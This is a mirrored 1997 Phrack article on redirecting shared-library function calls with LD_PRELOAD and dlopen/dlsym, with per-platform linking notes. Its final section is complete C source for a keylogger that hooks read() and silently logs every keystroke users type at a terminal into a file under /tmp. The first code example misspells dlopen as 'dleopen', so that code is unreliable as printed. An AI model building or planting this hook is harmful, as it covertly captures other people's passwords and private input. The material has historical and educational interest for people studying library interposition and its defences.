mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
212 lines
6.7 KiB
Text
212 lines
6.7 KiB
Text
![]() |
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 08 of 17
|
||
|
|
||
|
|
||
|
-------------------------[ Shared Library Redirection Techniques
|
||
|
|
||
|
|
||
|
--------[ halflife <halflife@infonexus.com>
|
||
|
|
||
|
|
||
|
This article discusses shared libraries - in particular, a method for doing
|
||
|
shared library based function call redirection for multiple purposes. During
|
||
|
the process of writing some code, some bugs were discovered in a few shared
|
||
|
library implementations, these are discussed as well.
|
||
|
|
||
|
First off, a short description of shared libraries is in order. Shared
|
||
|
libraries are designed to let you share code segments among programs. In this
|
||
|
way, memory usage is reduced significantly. Since code segments generally are
|
||
|
not modified, this sharing scheme works rather well. Obviously for this to
|
||
|
work, the code segments have to be location independent or PC indepenant (ip
|
||
|
independant for the x86 programmers in the audience).
|
||
|
|
||
|
Now, since the telnetd environment variable hole, most of you know there
|
||
|
are several environment variables that can be used to specify alternate shared
|
||
|
libraries. Among them, on most systems, are LD_LIBRARY_PATH and LD_PRELOAD;
|
||
|
this article strictly deals with the latter. Additionally, on Digital UNIX
|
||
|
and Irix, this variable is called _RLD_LIST and has a slightly different
|
||
|
syntax.
|
||
|
|
||
|
Sun's shared libraries came with an API to let users load and call shared
|
||
|
library functions; most other vendors have cloned the interface. Oddly enough,
|
||
|
our code will not work in SunOS, although it will in Solaris2. Anyhow, the
|
||
|
first function to be concerned with is called dlopen(). This function
|
||
|
basically loads the shared library and mmap()s it into memory if it is not
|
||
|
already loaded. The first argument it accepts, is a pointer to the filename
|
||
|
to be loaded, the second argument should usually be 1 (although some platforms
|
||
|
seem to support other options). The manpage provides more details. A handle
|
||
|
is returned on success, you can call dlerror() to determine if a failure
|
||
|
occurred.
|
||
|
|
||
|
Once you have dlopen()ed a library, the next goal is to get the address of one
|
||
|
or more of the symbols that are inside the library. You do this with the
|
||
|
dlsym() function. Unfortunately, this is where things can get nonportable.
|
||
|
On the freely available 4.4BSD machines I tested, dlsym() wants the function
|
||
|
name prepended by a underscore character. This makes perfect sense to me,
|
||
|
since that is how C stores function names internally. The System Vish
|
||
|
implementations, which make up the majority of the tested systems, do not use
|
||
|
such a convention. This, unfortunately, means you must use conditional
|
||
|
compilation in order to ensure portability.
|
||
|
|
||
|
A simple example of opening a library, getting a function and calling it is
|
||
|
shown below:
|
||
|
|
||
|
<++> sh_lib_redir_example.c
|
||
|
#include <stdio.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <unistd.h>
|
||
|
#include <dlfcn.h>
|
||
|
|
||
|
main()
|
||
|
{
|
||
|
void *handle;
|
||
|
void (*helloworld)(void);
|
||
|
char *c;
|
||
|
|
||
|
handle = dleopen("/tmp/helloworld.so", 1);
|
||
|
c = dlerror();
|
||
|
if(c)
|
||
|
{
|
||
|
fprintf(stderr, "couldnt open /tmp/helloworld.so\n");
|
||
|
abort();
|
||
|
}
|
||
|
#if __FreeBSD__
|
||
|
helloworld = dlsym(handle, "_helloworld");
|
||
|
#else
|
||
|
helloworld = dlsym(handle, "helloworld");
|
||
|
#endif
|
||
|
c = dlerror();
|
||
|
if(c)
|
||
|
{
|
||
|
fprintf(stderr, "couldnt get helloworld symbol\n");
|
||
|
abort();
|
||
|
}
|
||
|
helloworld();
|
||
|
dlclose(handle);
|
||
|
}
|
||
|
<-->
|
||
|
|
||
|
Okay, now that we understand how to use the programming interface, how do we
|
||
|
do function call redirection? Well, my idea is simple; you preload a library,
|
||
|
the preloaded library does its thing, then it dlopen()s the real library and
|
||
|
gets the symbol and calls it. This seems to work well on Solaris, Linux (ELF),
|
||
|
Irix (5.3 and 6.2), FreeBSD (see bugs section below), and OSF/1 (not tested).
|
||
|
|
||
|
Compiling shared libraries is a little different on each platform. The
|
||
|
compilation stage is basically the same, it is the linking that is actually
|
||
|
different. For GCC, you make the object with something like:
|
||
|
|
||
|
gcc -fPIC -c file.c
|
||
|
|
||
|
That will create file.o, object code which is suitable for dynamic linking.
|
||
|
Then you actually have to link it, which is where the fun begins :). Here is
|
||
|
a chart for linking in the various operating systems I have tested this stuff
|
||
|
on.
|
||
|
|
||
|
FreeBSD: ld -Bshareable -o file.so file.o
|
||
|
Solaris: ld -G -o file.so file.o -ldl
|
||
|
Linux: ld -Bshareable -o file.so file.o -ldl
|
||
|
IRIX: ld -shared -o file.so file.o
|
||
|
OSF/1: ld -shared -o file.so file.o
|
||
|
|
||
|
On IRIX, there is an additional switch you need to use if you are running 6.2,
|
||
|
it enables backwards ld compatibility; the manpage for ld is your guide.
|
||
|
|
||
|
Unfortunately, all is not happy in the world of shared libs since there are
|
||
|
bugs present in some implementations. FreeBSD in particular has a bug in that
|
||
|
if you dlsym() something and it is not found, it will not set the error so
|
||
|
dlerror() will return NULL. OpenBSD is far far worse (*sigh*). It
|
||
|
initializes the error to a value, and does not clear the error when you call
|
||
|
dlerror() so at all times, dlerror() will return non NULL. Of course, OpenBSD
|
||
|
is incompatible with our methods in other ways too, so it does not really
|
||
|
matter I guess :). The FreeBSD bug is hacked around by testing return values
|
||
|
for NULL.
|
||
|
|
||
|
Here is a simple TTY logger shared library example. When you preload it, it
|
||
|
will log the keystrokes when users run any nonprivledged shared lib using
|
||
|
program. It stores the logs in /tmp/UID_OF_USER. Pretty simple stuff.
|
||
|
|
||
|
<++> tty_logger.c
|
||
|
#include <stdio.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <unistd.h>
|
||
|
#include <sys/types.h>
|
||
|
#include <sys/uio.h>
|
||
|
#include <sys/stat.h>
|
||
|
#include <string.h>
|
||
|
#include <fcntl.h>
|
||
|
#include <dlfcn.h>
|
||
|
|
||
|
/* change this to point to your libc shared lib path */
|
||
|
#define LIB_PATH "/usr/lib/libc.so.3.0"
|
||
|
#define LOGDIR "/tmp"
|
||
|
int logfile = -1;
|
||
|
|
||
|
static void createlog(void)
|
||
|
{
|
||
|
char buff[4096];
|
||
|
if(logfile != -1)
|
||
|
return;
|
||
|
memset(buff, 0, 4096);
|
||
|
if(strlen(LOGDIR) > 4000)
|
||
|
return;
|
||
|
sprintf(buff, "%s/%d", LOGDIR, getuid());
|
||
|
logfile = open(buff, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);
|
||
|
return;
|
||
|
}
|
||
|
|
||
|
static void writeout(char c)
|
||
|
{
|
||
|
switch(c)
|
||
|
{
|
||
|
case '\n':
|
||
|
case '\r':
|
||
|
c = '\n';
|
||
|
write(logfile, &c, 1);
|
||
|
break;
|
||
|
case 27:
|
||
|
break;
|
||
|
default:
|
||
|
write(logfile, &c, 1);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
ssize_t read(int fd, void *buf, size_t nbytes)
|
||
|
{
|
||
|
void *handle;
|
||
|
ssize_t (*realfunc)(int, void *, size_t);
|
||
|
int result;
|
||
|
int i;
|
||
|
char *c;
|
||
|
char d;
|
||
|
|
||
|
handle = dlopen(LIB_PATH, 1);
|
||
|
if(!handle)
|
||
|
return -1;
|
||
|
#if __linux__ || (__svr4__ && __sun__) || sgi || __osf__
|
||
|
realfunc = dlsym(handle, "read");
|
||
|
#else
|
||
|
realfunc = dlsym(handle, "_read");
|
||
|
#endif
|
||
|
if(!realfunc)
|
||
|
return -1;
|
||
|
if(logfile < 0)
|
||
|
createlog();
|
||
|
result = realfunc(fd, buf, nbytes);
|
||
|
c = buf;
|
||
|
if(isatty(fd))
|
||
|
{
|
||
|
if(result > 0)
|
||
|
for(i=0;i < result;i++)
|
||
|
{
|
||
|
d = c[i];
|
||
|
writeout(d);
|
||
|
}
|
||
|
}
|
||
|
return result;
|
||
|
}
|
||
|
<-->
|
||
|
|
||
|
|
||
|
----[ EOF
|
||
|
|